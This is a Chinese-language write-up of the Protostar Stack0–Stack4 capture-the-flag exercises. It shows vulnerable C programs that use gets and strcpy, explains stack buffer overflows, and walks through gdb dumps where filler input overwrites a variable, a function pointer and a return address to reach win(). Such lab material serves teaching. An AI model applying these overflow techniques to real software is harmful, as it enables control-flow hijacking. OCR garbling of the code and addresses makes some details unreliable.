1 Stack0

```
1 #include <stdlib.h>
 2
    #include <unistd.h>
 3
    #include <stdio.h>
 5
    int main(int argc, char **argv)
 6
 7
       volatile int modified:
 8
       char buffer[64];
 9
10
       modified = 0;
11
       gets (buffer);
12
13
       if (modified != 0) {
14
             printf("you have changed the 'modified' variable\n");
15
      } else {
16
             printf("Try again?\n");
17
18
```

目标是进入第14行的分支,但是 modified 在第10行被设置为0,因此需要通过漏洞修改。注意到第11行使用了 gets ,考虑可以利用这个函数使缓冲区溢出。注意到 modified 在 buffer 的高地址,因此可以通过 buffer 的越界访问修改 modified 的内容。

buffer 的空间为64字节,只需要输入一个超过64字节的字符串,即可以修改 modified 内存,只要使其非全为0,即可进入第14行的目标分支。

使用gdb进行调试,输入 disassemble main 反编译主函数,在 gets 调用前后添加断点。在断点通过 x/24wx \$esp 查看 main 函数栈空间内存。

```
Breakpoint 5, 0x08048409 in main (argc=1, argv=0xbffff854) at stack0/stack0.c:11
        in stack0/stack0.c
11
(gdb) x/24wx $esp
                 0x00000000
0xbfffff740:
                                                                    0xb7f0186e
                                  0x00000001
                                                   0xb7fff8f8
0xbfffff750:
                 0xb7fd7ff4
                                  0xb7ec6165
                                                   0xbfffff68
                                                                    0xb7eada75
0xbfffff760:
                 0xb7fd7ff4
                                  0x08049620
                                                   0xbfffff778
                                                                    0x080482e8
0xbfffff770:
                 0xb7ff1040
                                  0x08049620
                                                   0xbfffff7a8
                                                                    0x08048469
0xbfffff780:
                 0xb7fd8304
                                  0xb7fd7ff4
                                                                    0xbfffff7a8
                                                   0x08048450
0xbfffff790:
                0xb7ec6365
                                  0xb7ff1040
                                                   0x0804845b
                                                                    0x00000000
```

继续运行,输入65个字符1,再次查看栈空间。可以看见位于 0xbfffff79C 的 modified 已被修改为 0x31 。

```
(gdb) c
Continuing.
Breakpoint 3, main (argc=1, argv=0xbffff854) at stack0/stack0.c:14
       in stack0/stack0.c
(gdb) x/24wx $esp
0xbfffff740:
              0xbfffff75c
                             0x00000001
                                            0xb7fff8f8
                                                           0xb7f0186e
0xbfffff750:
              0xb7fd7ff4
                             0xb7ec6165
                                            0xbfffff768
                                                           0x31313131
0xbfffff760:
              0x31313131
                             0x31313131
                                            0x31313131
                                                           0x31313131
0xbfffff770:
              0x31313131
                             0x31313131
                                            0x31313131
                                                           0x31313131
0xbfffff780:
              0x31313131
                             0x31313131
                                            0x31313131
                                                           0x31313131
0xbfffff790:
              0x31313131
                             0x31313131
                                            0x31313131
                                                           0x00000031
```

重新运行程序,输入65个字符1,可以看到我们成功修改了程序运行流。

2 Stack1

```
1 #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
 5
 6
    int main (int argc, char **argv)
 7
 8
       volatile int modified;
 9
       char buffer[64];
10
11
       if(argc == 1) {
12
             errx(1, "please specify an argument\n");
13
14
15
       modified = 0;
16
       strcpy(buffer, argv[1]);
17
18
       if (modified == 0x61626364) {
19
             printf("you have correctly got the variable to the right value\n");
20
      } else {
21
             printf("Try again, you got 0x%08x\n", modified);
22
23
```

目标是进入第19行的分支,但是 modified 在第15行被设置为0,因此需要通过漏洞修改。与上一题不完全相同,本体对 modified 的内容有要求,要求其值为 0x61626364。注意到第16行使用了 strcpy ,考虑利用这个函数使缓冲区溢出。注意到 modified 在 buffer 的高地址,因此可以通过 buffer 的越界访问修改 modified 的内容。

strcpy 函数会将 argv[1] 内容复制到 buffer 而不检查复制内容的长度是否合法。因此我们需要构造一个命令行参数,通过 strcpy 修改 modified 。 buffer 的长度为64字节,因此首先需要64个字符填满 buffer ,modified 在 buffer 的高地址且紧邻 buffer ,为了使其值变为 0x61626364 ,需要追加 dcba 。

使用我们构造出的参数重新启动程序,通过gdb在 strcpy 函数前后添加断点,查看栈空间。

```
Breakpoint 1, 0x0804849f in main (argc=2, argv=0xbffff804) at stack1/stack1.c:
16
        stack1/stack1.c: No such file or directory.
        in stack1/stack1.c
(gdb) x/24xw $esp
0xbffff6f0:
                 0x00000000
                                 0xbffff941
                                                  0xb7fff8f8
                                                                   0xb7f0186e
                0xb7fd7ff4
0xbfffff700:
                                 0xb7ec6165
                                                  0xbfffff718
                                                                   0xb7eada75
0xbfffff710:
                0xb7fd7ff4
                                 0x080496fc
                                                  0xbfffff728
                                                                   0x08048334
0xbfffff720:
                 0xb7ff1040
                                                  0xbfffff758
                                 0x080496fc
                                                                   0x08048509
0xbfffff730:
                 0xb7fd8304
                                 0xb7fd7ff4
                                                  0x080484f0
                                                                   0xbfffff758
0xbfffff740:
                 0xb7ec6365
                                 0xb7ff1040
                                                  0x080484fb
                                                                   0x00000000
```

在 strcpy 执行后再次查看栈空间,可以看到 0xbffff74c 地址已被修改为 0x61626364。

```
(gdb) c
Continuing.
Breakpoint 2, main (argc=2, argv=0xbffff804) at stack1/stack1.c:18
18
        in stack1/stack1.c
(gdb) x/24xw $esp
0xbffff6f0:
                 0xbfffff70c
                                  0xbffff941
                                                   0xb7fff8f8
                                                                    0xb7f0186e
0xbfffff700:
                 0xb7fd7ff4
                                  0xb7ec6165
                                                   0xbfffff718
                                                                    0x31313131
                                  0x31313131
0xbfffff710:
                 0x31313131
                                                   0x31313131
                                                                    0x31313131
0xbfffff720:
                 0x31313131
                                  0x31313131
                                                   0x31313131
                                                                    0x31313131
0xbfffff730:
                 0x31313131
                                  0x31313131
                                                   0x31313131
                                                                    0x31313131
0xbfffff740:
                 0x31313131
                                  0x31313131
                                                   0x31313131
                                                                    0x61626364
```

使用构造出的命令参数重新运行,可以看到我们成功进入了目标分支。

3 Stack2

```
1 #include <stdlib.h>
 2
    #include <unistd.h>
 3
    #include <stdio.h>
 4
    #include <string.h>
 5
 6
    int main(int argc, char **argv)
 7
 8
       volatile int modified;
 9
       char buffer [64];
10
       char *variable;
11
12
       variable = getenv("GREENIE");
```

```
13
14
       if(variable == NULL) {
15
             errx(1, "please set the GREENIE environment variable\n");
16
17
18
       modified = 0:
19
20
       strcpy(buffer, variable);
21
22
       if (modified == 0x0d0a0d0a) {
23
             printf("you have correctly modified the variable\n");
24
      } else {
25
             printf ("Try again, you got 0x\%08x\n", modified);
26
27
28 }
```

本题与上一题类似,目标是进入第23行的分支。与上一题不同的是,本题是从环境变量中复制进 buffer 且 modified 目标值对应的ascii码是不可打印字符。

本题需要构造出 GREENIE 环境变量,首先通过64个字符填满 buffer ,再通过 \n\r\n\r 修改 modified 。

设置环境变量,通过gdb在 strcpy 函数前后添加断点,查看栈空间。

```
Breakpoint 1, 0x080484dc in main (argc=1, argv=0xbffff7f4) at stack2/stack2.c:20
        stack2/stack2.c: No such file or directory.
        in stack2/stack2.c
(gdb) x/24xw $esp
0xbfffff6e0:
                                 0xbffff9be
                0x080485e0
                                                  0xb7fff8f8
                                                                   0xb7f0186e
0xbffff6f0:
                0xb7fd7ff4
                                  0xb7ec6165
                                                  0xbfffff708
                                                                   0xb7eada75
                                                  0xbfffff718
0xbfffff700:
                 0xb7fd7ff4
                                 0x08049748
                                                                   0x08048358
0xbffff710:
                 0xb7ff1040
                                 0x08049748
                                                  0xbfffff748
                                                                   0x08048549
0xbfffff720:
                 0xb7fd8304
                                  0xb7fd7ff4
                                                  0x08048530
                                                                   0xbfffff748
0xbfffff730:
                                 0xb7ff1040
                                                  0x00000000
                                                                   0xbffff9be
                0xb7ec6365
```

继续程序, 查看内存, 可以看到 0xbfffff738 地址处的内存已被修改为 0x0d0a0d0a。

```
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0xbfffff7f4) at stack2/stack2.c:22
22
        in stack2/stack2.c
(gdb) x/24xw $esp
0xbfffff6e0:
                 0xbffff6f8
                                  0xbffff9be
                                                   0xb7fff8f8
                                                                    0xb7f0186e
0xbffff6f0:
                 0xb7fd7ff4
                                  0xb7ec6165
                                                   0x31313131
                                                                    0x31313131
0xbfffff700:
                 0x31313131
                                  0x31313131
                                                   0x31313131
                                                                    0x31313131
0xbfffff710:
                 0x31313131
                                  0x31313131
                                                   0x31313131
                                                                    0x31313131
0xbfffff720:
                 0x31313131
                                  0x31313131
                                                   0x31313131
                                                                    0x31313131
                                                                    0xbffff900
0xbfffff730:
                 0x31313131
                                                   0x0d0a0d0a
                                  0x31313131
```

通过我们设计的环境变量, 我们成功进入了目标分支。

4 Stack3

```
1 | #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 #include <string.h>
 5
    void win()
 6
 7
 8
       printf("code flow successfully changed\n");
 9
10
11
    int main(int argc, char **argv)
12
13
       volatile int (*fp)();
14
       char buffer[64];
15
16
     fp = 0;
17
18
       gets(buffer);
19
20
     if(fp) {
21
             printf("calling function pointer, jumping to 0x\%08x\n", fp);
22
            fp();
23
24 }
```

本题目标为运行 win 函数, 首先使用gdb执行 disassemble win 找到 win 函数地址为 0x08048424。

```
(gdb) disassemble win
Dump of assembler code for function win:
0x08048424 <win+0>:
                       push
                               %ebp
0x08048425 <win+1>:
                               %esp,%ebp
                        mov
0x08048427 <win+3>:
                               $0x18,%esp
                        sub
                               $0x8048540,(%esp)
0x0804842a <win+6>:
                        movl
                               0x8048360 <puts@plt>
0x08048431 <win+13>:
                     call
0x08048436 <win+18>:
                       leave
0x08048437 <win+19>:
                        ret
End of assembler dump.
```

本题利用漏洞的思路与stack0类似,通过 gets 越界修改指针 fp 。首先使用64个字符填满 buffer ,再用 \x24\x84\x04\x08 修改 fp 指针。

通过gdb在 gets 函数前后添加断点,查看栈空间。在 gets 函数执行前,栈空间内容如下

```
Breakpoint 1, 0x0804844d in main (argc=1, argv=0xbffff854) at stack3/stack3.c:18
        stack3/stack3.c: No such file or directory.
        in stack3/stack3.c
(gdb) x/24xw $esp
0xbfffff740:
                 0x00000000
                                  0x00000001
                                                   0xb7fff8f8
                                                                    0xb7f0186e
0xbfffff750:
                 0xb7fd7ff4
                                                   0xbfffff768
                                  0xb7ec6165
                                                                    0xb7eada75
0xbfffff760:
                 0xb7fd7ff4
                                                   0xbfffff778
                                  0x0804967c
                                                                    0x0804830c
0xbfffff770:
                                                   0xbfffff7a8
                 0xb7ff1040
                                  0x0804967c
                                                                    0x080484a9
0xbfffff780:
                 0xb7fd8304
                                  0xb7fd7ff4
                                                   0x08048490
                                                                    0xbfffff7a8
0xbfffff790:
                 0xb7ec6365
                                  0xb7ff1040
                                                   0x0804849b
                                                                    0x00000000
```

gets 执行后,再次查看栈空间, 0xbfffff79c 处已被修改。

```
(gdb) c
Continuing.
Breakpoint 2, main (argc=1, argv=0xbffff854) at stack3/stack3.c:20
        in stack3/stack3.c
     x/24xw $esp
(gdb)
0xbfffff740:
                 0xbfffff75c
                                  0x00000001
                                                   0xb7fff8f8
                                                                    0xb7f0186e
0xbfffff750:
                 0xb7fd7ff4
                                  0xb7ec6165
                                                   0xbfffff68
                                                                    0x31313131
0xbfffff760:
                 0x31313131
                                  0x31313131
                                                   0x31313131
                                                                    0x31313131
0xbfffff770:
                 0x31313131
                                  0x31313131
                                                                    0x31313131
                                                   0x31313131
0xbfffff780:
                 0x31313131
                                  0x31313131
                                                   0x31313131
                                                                    0x31313131
0xbfffff790:
                                                                    0x08048424
                 0x31313131
                                  0x31313131
                                                   0x31313131
```

重新运行程序,成功进入 win 函数。

5 Stack4

```
1 #include <stdlib.h>
    #include <unistd.h>
 3
    #include <stdio.h>
 4
    #include <string.h>
 5
 6
    void win()
 7
 8
       printf("code flow successfully changed\n");
 9
10
11
    int main(int argc, char **argv)
12
13
       char buffer[64]:
14
15
       gets (buffer);
16
```

本题目标为运行 win 函数,首先使用gdb执行 disassemble win 找到 win 函数地址为 0x080483f4。

```
(gdb) disassemble win
Dump of assembler code for function win:
0x080483f4 <win+0>:
                         push
                                %ebp
0x080483f5 <win+1>:
                         mov
                                %esp,%ebp
0x080483f7 <win+3>:
                         sub
                                $0x18,%esp
                                $0x80484e0,(%esp)
0x080483fa <win+6>:
                         movl
                                0x804832c <puts@plt>
0x08048401 <win+13>:
                         call
0x08048406 <win+18>:
                         leave
0x08048407 <win+19>:
                         ret
End of assembler dump.
```

本题没有显式的函数调用,为了执行 win 函数,需要修改 main 函数的返回地址。

在 main 函数添加断点,查看 ebp 寄存器指向的内存,可以看到当前 main 函数的返回地址是 0xb7eadc76 ,返回地址保存在 0xbfffff7ac ,而 buffer 开始于 0xbfffff760 ,中间有76个字节的偏移。因此需要先输入76个字符,然后便可以修改返回地址。

(gdb) x/24xw	\$esp			
0xbfffff750:	0xb7fd7ff4	0xb7ec6165	0xbffff768	0xb7eada75
0xbfffff760:	0xb7fd7ff4	0x080495ec	0xbffff778	0x080482e8
0xbffff770:	0xb7ff1040	0x080495ec	0xbfffff7a8	0x08048449
0xbfffff780:	0xb7fd8304	0xb7fd7ff4	0x08048430	0xbfffff7a8
0xbfffff790:	0xb7ec6365	0xb7ff1040	0x0804843b	0xb7fd7ff4
0xbfffff7a0:	0x08048430	0x0000000	0xbffff828	0xb7eadc76
(gdb) x/2xw \$ebp				
0xbfffff7a8:	0xbffff828	0xb7eadc76		

在 gets 函数前查看栈空间,如下所示

```
Breakpoint 1, 0x08048415 in main (argc=1, argv=0xbffff854) at stack4/stack4.c:15
15
        in stack4/stack4.c
(gdb) x/24xw $esp
0xbfffff750:
                0xb7fd7ff4
                                                  0xbfffff768
                                                                  0xb7eada75
                                 0xb7ec6165
0xbfffff760:
                0xb7fd7ff4
                                 0x080495ec
                                                  0xbffff778
                                                                  0x080482e8
                                 0x080495ec
0xbffff770:
                0xb7ff1040
                                                  0xbfffff7a8
                                                                  0x08048449
0xbfffff780:
                                                                  0xbfffff7a8
                0xb7fd8304
                                 0xb7fd7ff4
                                                  0x08048430
0xbfffff790:
                0xb7ec6365
                                 0xb7ff1040
                                                  0x0804843b
                                                                  0xb7fd7ff4
0xbfffff7a0:
               0x08048430
                                 0x00000000
                                                  0xbffff828
                                                                  0xb7eadc76
```

gets 函数执行之后,返回地址已被修改。

```
in stack4/stack4.c
(gdb) c
Continuing.
Breakpoint 2, main (argc=0, argv=0xbffff854) at stack4/stack4.c:16
        in stack4/stack4.c
(gdb) x/24xw $esp
0xbfffff750:
                0xbfffff760
                                 0xb7ec6165
                                                 0xbfffff768
                                                                  0xb7eada75
0xbfffff760:
                                                                  0x31313131
                0x31313131
                                 0x31313131
                                                 0x31313131
0xbfffff770:
                0x31313131
                                 0x31313131
                                                 0x31313131
                                                                  0x31313131
0xbfffff780:
                0x31313131
                                 0x31313131
                                                 0x31313131
                                                                  0x31313131
                                                                  0x31313131
0xbfffff790:
                                 0x31313131
                0x31313131
                                                 0x31313131
0xbfffff7a0:
                                                                  0x080483f4
                0x31313131
                                 0x31313131
                                                 0x31313131
```

重新运行程序,可以看到成功执行了 win 函数。